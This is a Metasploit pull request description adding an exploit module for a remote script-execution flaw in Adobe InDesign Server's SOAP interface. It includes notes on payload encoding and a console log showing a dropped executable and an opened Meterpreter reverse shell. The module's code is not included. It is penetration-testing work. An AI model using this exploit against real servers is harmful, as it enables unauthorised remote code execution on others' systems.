rapid7/metasploit-framework — pull request #1122 by h0ng10 (2012-12-04 00:19:53+00:00)
Title: exploit for OSVDB-87548 (Adobe Indesign Server SOAP runscript)

This module adds an exploit for an issue in the Adobe Indesign Server which I reported a while ago via Secunia. The SOAP interface of the Indesign Server allows the execution of arbitrary scripts via vbscript, javascript or actionscript

The documentation of the SOAP interface can be found here:
http://www.adobe.com/content/dam/Adobe/en/devnet/indesign/cs5_docs/indesign_server/ww-ids-soap.pdf

While the OSX version is also vulnerable, this module supports only the windows version. if someone wants to add support for OSX, feel free to do so...

Please note that this exploits uses its own encoding routine for the vbs payload, as the code generated by "Msf::Util::EXE.to_exe_vbs" caused some trouble by leaving the server in an unexploitable state. The provided vbscript is based on the VAASeline project from Rich Smith and creates a smaller vbs script.

Unfortunately I was not able to delete the generated exe file afterwards, the reason is unknown.

This module has been tested against the windows version of Adobe Indesign CS6 server running on Windows 2008, a trial version can be downloaded from the Adobe Website

Example:
```
msf exploit(indesign_server_soap) > exploit

[*] Started reverse handler on 172.16.37.141:4444
[*] Creating payload vbs script
[*] Sending SOAP request
[*] Payload deployed to C:\Users\ADMINI~1\AppData\Local\Temp\FZKVKYBB.exe, please remove manually
[*] Sending stage (752128 bytes) to 172.16.37.160
[*] Meterpreter session 1 opened (172.16.37.141:4444 -> 172.16.37.160:49225) at 2012-12-03 19:13:36 -0500

meterpreter >

```
If you have any questions, please let me know.